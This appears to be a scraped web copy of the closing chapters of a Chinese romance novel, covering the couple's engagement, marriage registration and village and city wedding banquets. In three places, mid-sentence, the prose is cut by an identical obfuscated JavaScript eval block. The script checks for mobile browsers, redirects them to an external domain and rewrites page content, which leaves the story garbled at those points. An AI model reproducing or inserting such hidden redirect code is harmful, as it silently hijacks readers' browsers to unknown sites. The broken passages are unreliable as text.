这一次却不一样,她是以夏岩即将订婚的女朋友的身份来的,于是便多了几丝羞涩。 尤其是黄书翠把一个厚厚的红包塞进她手里的时候,方禾笑得眉眼弯弯的脸上都染上了几抹红晕。 方禾很想珂珂,几年不见,夏珂已经是高中生了,粉雕玉琢的脸蛋比从前少了点婴儿肥,出落得亭亭玉立,个子长高了,性子也更活泼开朗了。 最明显的变化就是比以前更爱笑了。 饭桌上黄书翠还说呢,当年方禾来家里吃饭的时候,差不多就是夏珂现在这个年纪。 日子一天天过着,方禾本来还没什么感觉,听到黄书翠这句话,忽然就感觉时间过得好快。 如果当初她没有因为暴雨在卢嘉站下车,她现在会在哪里呢? 如果没有袁老师、佳冰和夏岩三番五次的劝说,她现在是不是还缩在赵文芳的火锅店里端盘子? 哦,也不对,赵文芳搬走了,火锅店早就不开了,可能她换了一家饭店打工,或者进了流水线的工厂。 事到如今,方禾依然不后悔当年的离家出走。 那一年让她明白了很多事情,让她成长地很快。 如果没有离家出走,她可能会和佳冰同一年考上大学,也可能会因为受不了那个家而做出一些更疯狂的举动。 想来,一切都是命中注定的,注定她要远走一年才能找回失去的爱和动力。 吃完饭,方禾和珂珂坐在沙发上聊天,远远看见了阳台上盛开的花。 “你们家那两盆花开得可真好。” 夏珂还没说什么,夏岩先插话了:“你不记得了?” “我应该记得什么?” 夏岩看着她,缓缓道:“那是太阳花,是你给我的种子。” “啊!对哦!”方禾这才想起来,她当年买的是多年生的太阳花种子,不出意外的话,种下去活个几年十多年都不是问题。 夏岩就看见方禾趿着拖鞋跑到了阳台上,在花盆前蹲下,伸出手指轻轻触碰那些颜色鲜艳的花瓣。 两个陶瓷花盆里各有几株太阳花,每朵花都撑开六片薄如蝉翼的花瓣,花蕊金黄,花瓣层层叠叠,或橙或红,或嫩粉,或浅紫。 时隔多年,方禾终于和她的那一小袋太阳花种子重逢了,虽然这个时候它们早就不再是种子,而是漂亮鲜活的花了。 夏岩看着方禾跟她的种子叙旧,眼前浮现的是他和方禾失联的那一年。 从火车站把那袋种子拿回家之后,夏岩就一直把它搁在抽屉里,并没有种。 那个时候,家里没人有心思打理花草,原先的两盆龟背竹都因为疏于照料死掉了。 夏岩也不想自己每天都看着花盆里的绿芽去想那个给他种子的女孩。 更何况,他没种过花,也不知道能不能成功。与其白白浪费了这袋种子,倒不如一直收着,好歹能留着当个纪念。 夏岩种下那些种子的时候,是第二年的春天。 那时他已经和方禾失去联系快半年了。 起初是担心,到那时却只剩下自我怀疑。 电话里,教务处的老师亲口告诉他,方禾正常在校学习,他也亲眼在她学校的公众号上看到了她上台领奖的照片。 方禾好好的,什么事也没有,她只是不再对他有兴趣了而已。 夏岩就是在这种的落寞中,把那些种子埋进了龟背竹的花盆里。 一个星期后花盆里就冒出了许多带着绒毛的小嫩芽,夏岩回学校交复学申请前,那些花都开了。 方禾给他种子的时候没跟他说那是什么种子,他也没问。 想着等发了芽,一天天长大,总能看出那是什么。 他也确实是开花了之后才知道,方禾给她的种子是生命力旺盛的太阳花。 虽然后面搬了两次家,但夏岩每一回都会好好带走那两盆太阳花。 夏珂当时还觉得奇怪呢,她哥哥为什么忽然对种花感兴趣了,直到今天,夏珂的疑惑才被解开。原来那是方禾姐姐给她哥的种子,啊,不对,以后要叫嫂子了。 下午,夏岩陪着方禾出门了,他知道方禾有很多吃的想吃,出发前跟妈和妹妹说了,不用等他们吃晚饭。 两人先去了以前火锅店旁边的那家烧烤摊,买了两份剁椒面筋,一边吃着一边往夜市走。 路上,两人碰见了一位推着婴儿车的时尚妈妈。 “娅萍姐?”眼前这个人打扮时髦、妆容精致,要不是看到了娅萍姐嘴角那颗标志性的小黑痣,方禾可能都不敢认。 李娅萍闻声转过头,也很惊喜:“方禾?你怎么在这儿?” 问完,她看到了方禾和夏岩牵在一起的手,意识到这个问题好像不用回答了。 方禾看着躺在小推车里白白胖胖的小团子:“这不会是你生的孩子吧?” “当然啦,才半岁,可爱吧?” 方禾轻轻捏了捏小娃娃肉乎乎的脸蛋,真心夸赞:“可爱。” 生完孩子才半年,李娅萍已经恢复得这么好,方禾看得出来,娅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608751|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萍姐过得很不错,眼里都是幸福,连气质都变了。 李娅萍结婚的时候,店里的姐妹明面上没说什么,但李娅萍自己也知道,其实大部分人都不太看好,都觉得这段婚姻不会长久。 可偏偏就是这样不被人看好的婚姻,李娅萍却过得很幸福。 公公婆婆不喜欢她,但对象没有让她受过公公婆婆的气,婚后一直是他们两个人外面单过。 结婚以后老公每个月都把工资交给她,可李娅萍闲不住。 她这个文化水平出去找工作也就是当服务员和销售之类的,李娅萍不想干这些,就决定去摆摊。 一开始她在大学城门口卖浇汁土豆泥拌面,后来在一个学生妹妹的好心建议下建了群,每天发红包手气最佳免单,再加上味道本来也不错,生意就越来越好。 有了固定的消费群体,李娅萍干脆不摆摊了,每天在发菜单接预定,第二天中午和晚饭把饭送到校门口,每天也能赚不少钱。 李娅萍爱吃,也喜欢自己动手研究美食,因为自己有了宝宝,李娅萍这一年又筹备了一个专门做儿童手作辅食的店。 瞅瞅站在一旁的夏岩,李娅萍调侃道:“你们以后有宝宝了,记得来我们店里买辅食,什么酸奶蔬果卡通饼干、香菇牛肉蝴蝶面、苹果胡萝卜小米粥,零食、肉食、面食应有尽有,而且绝对干净卫生,就凭咱俩这交情,只要你来,我直接给你打五折,够意思了吧。” 怎么突然说到生孩子了,方禾捶了娅萍姐两下。 “对了,陈玉娇前两年就开上美甲店了。”李娅萍翘起五根白嫩纤长的手指,“你看,这就是她前些天给我做的,漂亮吧?” 方禾和李娅萍加上了微信,又通过李娅萍联系上了玉娇姐。 原来,这些年里,大家都过得很好。 - 求了婚,商量婚事的事情也该提上日程了。 因为方禾的母亲不在,父亲更是早早重新组建了家庭不再管她,所以方禾这边只能由她的小姨和小姨夫出面。 作为男方的母亲,黄书翠专门带了礼品来到麻溪镇正式拜访方禾的小姨一家。 两家人都开明,愿意尊重两个孩子自己的想法。 陈喜竹花钱请人看了几个宜嫁娶的好日子,然后拿给方禾、夏岩选。 方禾选了腊月的日子,那个时候多数亲戚朋友都放假了,更热闹。 她喜欢冬天,而且农历的腊月在第二年的一月份,现在才五月,还有大半年可以慢慢筹备婚礼,时间也算不上赶。 方禾家和夏岩家两边分别要办一次酒席。定了婚期,方禾第一时间给佳冰发消息。 当然也不能忘了她的大学舍友。 韩佳冰一早就知道他们好事将近,收到消息时一点也不意外。 三个舍友也都一副预料之中的样子,毕竟毕业前的宿舍夜谈时,她们就预测方禾应该是她们四个人中最早结婚的那个。 买五金和拍婚纱照都在有条不紊地进行。 相比要精心提前准备的婚礼,领证就很随意了。 抱着糯雪躺在沙发上刷短视频的方禾,偶然刷到一个分析黄历的视频,说明天是领证的好日子,便心血来潮从沙发上跳起来跟夏岩说要不现在就发消息请假,然后明天去民政局。 夏岩当然说好,当即就给部门领导说了请假的事。 这一晚方禾睡得很香,躺在方禾旁边的夏岩却失眠。 他不记得自己是几点睡着的,只记得耳边是方禾的清浅的呼吸声,鼻间嗅到的是方禾用的桂花味身体乳的气味,胸膛感受到的方禾温热的体温,脑子里也全是方禾。 翌日早起,夏岩眼底毫不意外地挂上了两个黑眼圈。 方禾笑弯了腰,嫌他太憔悴不够帅气,还翻出自己的遮瑕和粉底给夏岩精心捯饬了一番,这才满意。 36. 第 36 章 桂花开过,芙蓉又开,市区里绿化做得好,好像每个季节都能看到盛放的花。 早上去疗养院上班的路上,方禾闻到了腊梅开放的味道,这下,不用看日历她也知道,她跟夏岩的婚期临近了。 婚礼前五天,方禾和夏岩都请好了婚假,再加上春节本来的几天假期,他们要年后的初八才回去上班。 方禾揣着疗养院上司给她的红包,小跑着下了楼,扑向等在路边的夏岩:“我领导给了我一千块的红包!” 夏岩笑着接住她,他们现在要回住处收拾行李,明天一早,方禾坐高铁回广青的小姨家待嫁,他开车带着糯雪回卢嘉,每天腻歪在一起的两个人要暂时分开了。 方禾在广青火车站出站时,赵继然已经在站外等着了。 接过方禾的行李箱,赵继然问:“要在市里吃饭吗?还是直接回去?” “回家再吃吧,不过要先去接一下我朋友。” 方禾跟小姨夫报了韩佳冰的住址,自己也手机地图上开了导航。 接上韩佳冰,车子在夕阳下一路驶回麻溪镇。 小姨家的房子去年刚翻修过,从屋里的墙壁地面,到外层的瓷砖,都重新装过,崭新崭新的。 一进屋,方禾有点懵。 烤火的屋里几乎坐满了人,大家本来就聊得正欢,见方禾这个“新娘子”来了,愈发兴奋,亲切的问话一句接着一句,弄得方禾根本不知道该先回答谁。 厨房里她看不见,但只听声音,方禾能知道里面的人不少。 怎么这么多人?! 她这些年都没跟村里这些长辈们联系,小姨也才回来没几年,所以方禾理所当然地认为不会有多少人来。 突然面对这么多或熟或不熟的亲戚,一向大胆外向的方禾竟然觉得自己开始社恐了。 在一众爷爷奶奶、叔叔婶婶的“盘问”下,方禾吃完了晚饭,放下碗筷就拉着佳冰一头扎进了小姨给她准备的婚房,恨不得再也不出去。 韩佳冰也是差不多的心情。 她跟方禾是同一个村子长大的人,虽然方禾的亲戚不全是她的亲戚,可也都认识她。 再说了,她和方禾又是一样的年纪,现在方禾要结婚了,村里人难免会逮着她问她有没有谈对象,什么时候结婚。 遇上这些问题,韩佳冰都只是笑着敷衍几句,然后巧妙地引开话题。 老一辈人的思想已经根深蒂固,除非他们自己想改变,不然很难扭转。 争辩几句也无法改变他们的想法,所以与其争辩,不如糊里糊涂地说说笑笑,以愉悦的心情陪着方禾。 她是不喜欢结婚,但看着方禾开开心心地准备一切,她也为好姐妹高兴。 苦难各有不同,幸福也并非千篇一律。韩佳冰所厌恶的婚姻,方禾能从中找到甜蜜。 她们的想法不同,但这些都不重要,重要的是她们都清楚自己想要的是什么,都能找到自己喜欢的生活方式。 翌日,小姨家依旧热闹。 村子里有喜事都喜欢摆流水席,虽然近些年大家都更习惯花钱找专门办席的团队来做,但离得近的各户人家都会过来帮忙。 厨房这边有剥蒜的,择菜的,切南瓜的,外面的男人在扫院子,搭桌子,清点板凳数量够不够,怕突然下雨,院子上还要搭一排棚子,一切都紧锣密鼓、有条不紊地进行着。 方禾和韩佳冰也没闲着,两人一起楼上楼下地跑,忙着贴喜字、打气球。 韩佳冰手里的动作没听,嘴上却忍不住抱怨,说方禾买的这种半成品的立体喜字也太难组装了,她对着客服的视频教程研究了半天,头都快晕了。 方禾知道韩佳冰只是随口说说,并不是真的不高兴,便顶回去:“谁让你来这么早的,你要是晚几天直接来参加婚礼,不就不用跟着我受这份罪了嘛。” 韩佳冰会是这次婚礼陪她时间最长的人,先在麻溪,然后再陪着她一起去卢嘉。 “哼,那我现在就走。” 方禾抱住她的胳膊晃了晃,像两个人小时候经常做的那样:“不嘛,你走了我怎么办,我唯一的伴娘。” 那年夏天,两个半大的女孩子,学着村里的大人,背着小背篓去村后的林子里捡菌子。走到林草茂密的树间,方禾故意吓韩佳冰,说她要先一个人回去了,不等韩佳冰了,佳冰就拉着她的袖子:“你走了我怎么办。” 也是一年夏天,方禾离家出走前只把路线告诉了韩佳冰一个人。韩佳冰没说她不该走,不能走,只说:“你走了我怎么办。” 当然也不止这两次,连两个当事人都记不清她们有过多少次这样的对话。 在一遍又一遍的“你走了我怎么办”中,她们都长大了。 她们早都过了会误以为没有谁,生活就过不下去的年纪,但她们依旧喜欢依赖对方。 无关于谁离不开谁,只是那么多年的情谊,早就让她们把彼此当做了自己生活的一部分。 “还是你好,有寒假。”方禾睡在被电热毯捂得暖呼呼的被窝里,靠在韩佳冰肩上,“我其他朋友都还在上班呢,要等婚礼前一天才能请假赶过来。” 韩佳冰戳戳方禾的额头:“你以为我放了寒假就很清闲嘛,我可是为了某人,才专门丢下备课和教师研修的网课跑过来的。” “嘿嘿嘿,我就知道你最在乎我啦。” 这几天晚上,她们都会睡在一起,即便夏岩过来了也是如此,因为按习俗,新郎新娘结婚前是不能见面的,更别提一起睡了。虽然现在规矩都宽松了些,两个人能见面,但睡一起还是不能的。 方禾跟韩佳冰依偎在一起聊天,直到夏岩的电话打过来。 韩佳冰缩回被窝里看小说,她听到一旁的方禾在让夏岩开摄像头,沉浸地商量两人的婚房怎么装扮才好看,蝴蝶结挂在哪里,吊顶拉花上要挂些什么,床头柜上的气球桌飘上绑多少个气球……说完婚房的布置,方禾又问夏岩明天几点能到。 他们之后还是会住在榆南,但夏岩家里的婚房也得布置。 睡了一觉起来,来小姨家的宾客更多了。 这让方禾不禁产生了怀疑:“小姨,酒席不是晚上吗?怎么一大早就来了这么多人!” 陈喜竹笑着摸摸外甥女的头:“人多了不好吗?结婚的酒席不就是图个喜庆热闹。” 方禾虽然这些年都没怎么在村里待过,但到底是这村里长大的姑娘,一听说她要结婚,不少亲友都跑来捧场。 方禾啃了几口包子就回房间化妆了,毕竟是她结婚,她要打扮得漂漂亮亮地再出去,而且,化妆的时候多磨蹭些时间,她就可以少些时间跟那些长辈说话。 也不是厌烦,方禾知道来的人都是真心祝福她,只是……多年不见的生疏,再加上年龄的代沟,让方禾不知道该说些什么,她疲于应对。 再磨蹭妆也是要出去见人的,方禾穿了一件红色的大衣,让自己看起来有一点要结婚的样子。 出去陪村里的亲戚们聊了没一会儿,方禾陆续收到了好几个红包。 其中还有一个特别的。 方禾不想让方达海出席她的婚礼,可到底是她名义上的父亲,她觉得还是该知会他一声。 方达海也很有自知之明,觉得自己即便是来了,方禾也不会让他上台,更何况他现在有儿有女,不缺方禾这一个喊他“爸”的人,便只托人送来一个红包来,再无其他。 怕韩佳冰无聊,下午方禾一直在跟她打扑克牌。 傍晚,夏岩和他的舅舅、舅妈、大伯一起来了麻溪镇,鞭炮放得震天响,村里来看热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613589|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,都知道新郎那边来人了。 方禾笑着穿过人群,走到夏岩身边。 奇怪。这五年里,牵手这种动作他们都不知道做过多少次了,但第一次被这么多人围观注视,一时间,方禾竟然觉得自己有几分羞涩了。 在火炉旁陪夏岩那边的亲戚说了会儿话,就开席了。 小时候方禾还跟着奶奶去吃过很多次酒席,那时候她人小,胳膊也短,所以每次坐席,都是奶奶把鱼啊肉啊的挑进她面前的小碗里,堆成一个小山堆,她就只顾着埋头吃。 长大了,方禾先是离家出走,又是去外地上大学,在村里的时间不多,算起来,她也有好多年没有吃过酒席了。 现在,方禾倒是吃上自己的酒席了。 浇满汤汁的红烧肘子,甜口的龙眼肉,清炖的酥肉,红薯底蒸的排骨,还有爽口的酸菜汤……一道道看过去,方禾除了馋美食,心底居然生出了几分感慨。 从前她只是吃席看热闹的人,现在她变成酒席的主角了,要拉着夏岩一桌一桌地敬酒。 这天晚上,方禾当然还是跟佳冰睡在一个屋,小姨也过来了,她们三个要一起睡。 因为家里房间不够,睡不下那么多人,夏岩就被安排去跟小姨夫一起睡了。 离办婚礼的日子越近,方禾就越兴奋,晚上跟佳冰、小姨聊了半夜,也不知道是几点才睡着的。总之,等她一觉醒来,又该吃席了。 清早八点,烟花爆竹放得震天响,桌子早就搭好,菜一道一道地被端上桌。 虽然早,但来吃席的宾客人数远比昨天下午多。 在一众的谈笑声中吃完饭,就该出发去卢嘉了。 方禾这边,除了佳冰,小姨小姨夫都会跟去卢嘉市送她。 车子沿着山路跑了一个多小时,到了广青市里的高铁站。一行人下车去搭高铁。 开车当然也能到,但距离摆在那儿,开车过去,远不如高铁便利和省时间。 最主要的还是因为方禾不喜欢汽车,闻到车里的味道就不舒服,短途还行,距离长了她会晕。 为了不让她路上难受,还是坐高铁更好。 高铁很快就驶出了广青市的地界。 方禾一个人从卢嘉回来的那一年,坐了八九个小时。 这次坐高铁,不到三个小时就赶到卢嘉了,一行人先到夏岩订好的酒店安顿下来。 因为两个地方离得远,当天结亲和办婚礼来不及,所以在酒店订了婚房,明天一早才是新郎那边来正式结亲。 金灿灿的阳光洒在街道,夏岩陪着小姨小姨夫逛街,熟悉卢嘉这个小城。 方禾则拉着佳冰去玉娇姐的店里做美甲了。 上底油的时候,方禾的手机消息声不断。 邹珊和田晓佳已经在高铁站汇合了,正准备一起打车过来。 在外省工作的杨惜才刚下飞机,还要坐半个小时的高铁才能到卢嘉。 晚上,黄书翠在火锅店里订了几桌,吃饭的人不多,只有双方的亲人,还有方禾夏岩的朋友。 最晚到的杨惜拖着行李箱风风火火地冲进店里,坐到桌前狠灌了几口果啤。 “我的天,赶路太累了,总算是到了。” 方禾过去跟她抱了抱,心里满是感动。 有人为她翻山越岭,这份心意她都会记一辈子。 方禾没请那些好几年都没有发过一条消息联系的同学。不管上学的时候他们关系有多好,太久不维系,也都淡了,即使她发了请帖,对方也不见得乐意来,只转份子钱她也不好意思说,所以请了也没有意义,只是给别人徒增烦恼罢了。 说说笑笑地吃完这顿火锅,走出店时,街边的路灯已经亮起。 这个夜晚才刚刚开始,要做的事情还有很多。 37. 第 37 章 酒店的婚房也需要布置。 虽然明晚不会再住在这里,但该有的仪式感都得有,必须得装扮得漂漂亮亮的。 和主持人一起简单过了一遍婚礼流程,方禾跟夏岩回他家拿她之前在网上买的婚房布置套装和全套接亲游戏礼包,然后直奔酒店。 两人都有过在自家布置的经验,早就熟悉了立体喜字怎么拼、气球怎么在桌飘上固定,只需要再重复一遍的过程就好。 人手多,不管是粘喜字还是打气球,都弄得很快。 再换上大红色的喜字被套,原本空空荡荡的酒店房间瞬间就有了结婚的氛围感! 之后就该拆方禾精心挑选的结亲游戏礼包了,这时候夏岩就不适合在场了,毕竟那些游戏都是为了“刁难”他,怎么可能让他有机会偷看到正确答案。 被推出房间的夏岩站在门口,无奈地笑笑。 看着眼前这扇紧闭的房门,夏岩能想象到门里的方禾是怎么坏笑着和朋友商量明早的作战计划,能想象到她盘起头发手执团扇的样子。 明明眼前所见只有一扇门,但夏岩的脑海中却忽然涌起了许多画面。 每个画面都跟方禾有关—— 那个隔三岔五就跑来药店买山楂丸的方禾。 那个直接往他嘴里塞小番茄的方禾。 那个在火车站外给他太阳花种子的方禾。 那个在学校的桂花树下踮脚吻他的方禾…… 思绪翻飞,越想越多,夏岩只恨时间不能直接快进到明天,快进到接亲,快进到婚礼。 不能再待下去了。夏岩最后看了一眼身前的胡桃木色房门,抬脚下了楼。 继续待在这里,他真怕自己会忍不住立刻就把方禾抱回家。 - 方禾五点钟就起来了。 五点半的时候,房门准时被化妆师敲响。接着,杨惜、邹珊、晓佳也陆续敲门进来。 换做以前,起这么早方禾一定会犯困,但今天日子特别,方禾感觉自己精神得不得了,满脑子都是喜悦和兴奋,也许这就是人逢喜事精神爽? 方禾化好妆,换上大红色的秀禾服,韩佳冰也换上了方禾买给她的伴娘服。 七点,夏岩发消息来了,说他们那边出发了。 看到这条消息的方禾心头忽然一阵紧张。 她这一紧张,满屋子的人都跟着她紧张起来,着急忙慌地找地方藏婚鞋。 天色还暗着,楼下骤然响起了鞭炮声。 方禾觉得自己的心跳都随着劈哩叭啦的鞭炮声加速了,她攥紧团扇看着齐刷刷堵在门前的四个姑娘。 没过几分钟,房门外就多了一阵阵脚步声。 上楼容易,开门可不是那么容易。 方禾笑着看她们捉弄门外的新郎伴郎。 当第六个小红包从门缝塞进来时,四位女生才顺势松了抵门的力道。 本来就是真心相爱的情侣结婚,可不能真拦着不让新郎进来。 等跟拍的摄像师也进来了,杨惜拿起结亲闯关卡片,清了清嗓子,开始主持结亲游戏。 第一关是看东指西,夏岩反应快,但周帆这个脑子不够灵光的伴郎却拖了后腿,因为频频失误逗得大家哈哈大笑。 “好了,下面进入第二关,快问快答。” ——“你对新娘的第一印象是什么?” 夏岩想起了那个雨夜被淋得湿漉漉的少女。 ——“请说出新娘喜欢的东西?” 这个问题也难不倒夏岩。 方禾的喜好其实很好记,颜色钟爱黄色,气味独爱桂花,吃食上嗜甜嗜辣,喜欢猪蹄,喜欢豌豆尖。 至于水果,冬天喜欢吃龙眼,夏天喜欢吃荔枝,她就是钟爱这种裹着壳子里裹着白嫩果肉、吃起来像蜜一样甜的果子。 还有她喜欢的化妆品,夏岩也都记得。虽然他依然不太懂化妆,不过经过方禾的熏陶,现在方禾的每一个化妆品、化妆用具,他都能准确地叫出名字。 玩了半小时游戏,让新郎伴郎给出了不知道多少个小红包,婚鞋总算是找到了。 摄像师及时调整角度,拍下了新郎单膝跪下给新娘穿鞋子的画面。 夏岩抱着方禾下了楼。 在簇拥的人群中,方禾听见了小孩子清脆的笑,看见昨天帮他们办入住的前台工作人员乐呵呵地接过伴郎给的小红包。 “我衣兜里装了晕车贴,你拿出来先贴上。”夏岩留意着脚下,小声说。 方禾就伸出左手去摸,果然在夏岩的西装口袋里摸出来几个晕车贴。 她还有一只手环在夏岩脖子上,一手捏着晕车贴,提醒道:“我松手了,你要抱稳哦。” 夏岩垂眸,看着近在咫尺的爱人,勾唇一笑:“放心,摔不了你。” 方禾这才腾出两只手,把撕开晕车贴,贴到自己的手腕内侧。 出了酒店大门,天色还不是特别亮,方禾在昏暗的光线中,一眼就瞧到了她和夏岩一起订的婚车。 她不喜欢沉闷的黑色,八辆婚车,全是不同的颜色。 排在最前面的那辆头车是混色的,其中有方禾最喜欢的黄色,车前盖上有一个大大的蝴蝶结。 等大家都上车坐好,贴了喜字绑了丝带的糖果色婚车,排成整齐的一列,缓缓在大街小巷穿梭。 酒店离夏岩家很近,但为了结亲的仪式感,婚车并没有按原路返回,而是开始绕远路。 天色渐渐亮了起来,从车窗望出去,方禾能看见热闹的早餐铺、冒着热气的小摊、在冬天依旧青绿的行道树。 还有几天就除夕了,街道上挂了红灯笼,不少店铺都在卖春联、福字以及小孩子喜欢玩的烟花。 一眼望去,全是喜庆的元素,看得方禾心里更多了几分欢喜。 “晕不晕?” 车里事先放了两个剥开的柚子,气味没有那么难闻,方禾摇摇头:“还好,不难受” 绕了将近一个小时的路,婚车终于停在了夏岩家楼下,方禾由夏岩背着上楼,放在婚床上。 方禾拿着扇子,抬头打量这间她只在视频电话里见过的婚房,大红喜字、蝴蝶结、气球花……方禾想想夏岩一个人在这屋里打气球粘气球的样子,就忍不住想笑。 站在床前的夏岩不知道方禾在笑什么,但看着她笑,他自己也跟着笑了。 跟过来拍照的摄像师抓摁下快门,拍下了笑得眉眼弯弯的两个人。 夏珂从厨房端了鸡蛋醪糟小汤圆和酱肉包出来,有模有样地招呼大家吃饭。 简单吃完早饭,一行人坐着婚车转场去酒店,方禾在化妆间里换上婚纱,化妆师一边给她补妆一边夸她漂亮。 站在大厅外等着入场时,方禾低头打量自己身上蓬蓬的白色裙摆,笑了出来。 门开了,夏岩从舞台那边走过来接她。 台下的掌声和主持人温柔的声音在耳边响起。 方禾和夏岩都提前看过主持人的稿子,删去了所有方禾所有不喜欢的词。 因为方禾的父母都不能到场,夏岩的父亲也不在,所以他们删掉了敬茶的环节,交换戒指之后,伴郎周帆端上来满满一盘红包,方禾和夏岩一人抓一大把, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618703|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往台下撒去。 仪式结束,方禾去化妆间换上敬酒服,由双方长辈陪着,两位新人一桌一桌地去给宾客敬酒。 说是敬酒,但他们俩杯子里装的都是可乐,而且每敬一桌都只抿那么一小口,一圈敬下来,方禾感觉自己还能再喝两杯。 舞台旁边事先留了一个桌子,等新郎新娘伴郎伴娘这些忙完了才上菜。 他们吃得晚,说说笑笑地吃完饭时,大部分吃好了的宾客都已经走了。 夏岩叫了两辆车,送他和方禾的这些好朋友去高铁站。 酒店门口,韩佳冰一手提着伴手礼,一手揽着方禾,和她拥抱。 “穗穗,以后都要快乐,要幸福。”韩佳冰凑到方禾耳边悄悄说。 方禾紧紧抱着她:“你也是,要一直快乐下去,幸福下去。” “我和夏岩说过了,等退休了就回广青定居,到时候我们可以一起跳广场舞。” 大城市有大城市的好,但方禾内心深处还是最向往小时候住的村庄,她喜欢清晨能听到鸟语,喜欢抬头能望见青山。 她和夏岩商量好了,到时候他们就住在镇子旁边,种点菜,养几只鸡。离镇子的距离要够近,遛着弯就能到街上,既能享受乡村的宁静,也能感受到小镇的热闹和便利。 - 黄书翠和夏珂去退还那些没用到的烟酒,家里现在只有方禾跟夏岩在。 方禾换上了轻便的衣服,拿出她的包,最让她开心的时候到了。 她的包包早就被红包塞得鼓鼓囊囊的,几乎快要合不上。怕婚礼上太慌乱被人偷,这个包包今天一直都是杨惜帮忙抱着的。 方禾盘腿坐在沙发上,把包包里的红包都倒出来,一个一个地拆。 夏岩坐在旁边看着,没看红包里的钱,只看着方禾一点一点弯起来的唇角,看着她逐渐盛满笑意的眼睛。 糯雪乖乖地蹲在方禾旁边,它好几天没见到方禾了,正是黏方禾的时候。 方禾一边拆,一边在手机备忘录里把每个人给的礼金都记下来。 “小姨和小姨夫一人给了我一万。” “佳冰给的是一千三百一十四,一三一四!” “这个两千的好像是你那边的亲戚给我的,我还不知道该叫什么。” 昨晚的他恨不得时间能够快进,现在真的结婚了,欢喜之余,夏岩只觉得很不真实。 他从西装口袋里翻出了他收到的红包:“给,一起数了吧。” 方禾眨眨眼:“数了还要还给你吗?” “还不还不都一样,都是夫妻共同财产。” 数完钱,方禾跟夏岩商量,现在就去银行把钱都存进卡里,毕竟这么多现金不好收拾,存到卡里用起来方便,还有利息。 虽然已经把外面那层红包给取下来了,但重新把钱装进包里,竟然也装得满满当当的。 方禾还是第一次手握这么多现金! 存完钱,两人又去吃了烧烤。 卖春联和烟花的小摊还没关门,方禾顺手买了一把仙女棒,说等会儿回去在小区的空地上放。 天已经黑了,方禾夏岩手牵手走在街上,两个人心里想的都是—— 他们今天结婚了。 这些路,夏岩一个人走了很多年。 在卢嘉打工的那一年里,方禾也一个人走过很多次。 现在,街还是那个街,路还是那个路,不同的是他们彼此相伴,不再孤单。 路灯光照着这对依偎在一起的影子,照着他们从今往后都会一起走的路。 -全文完-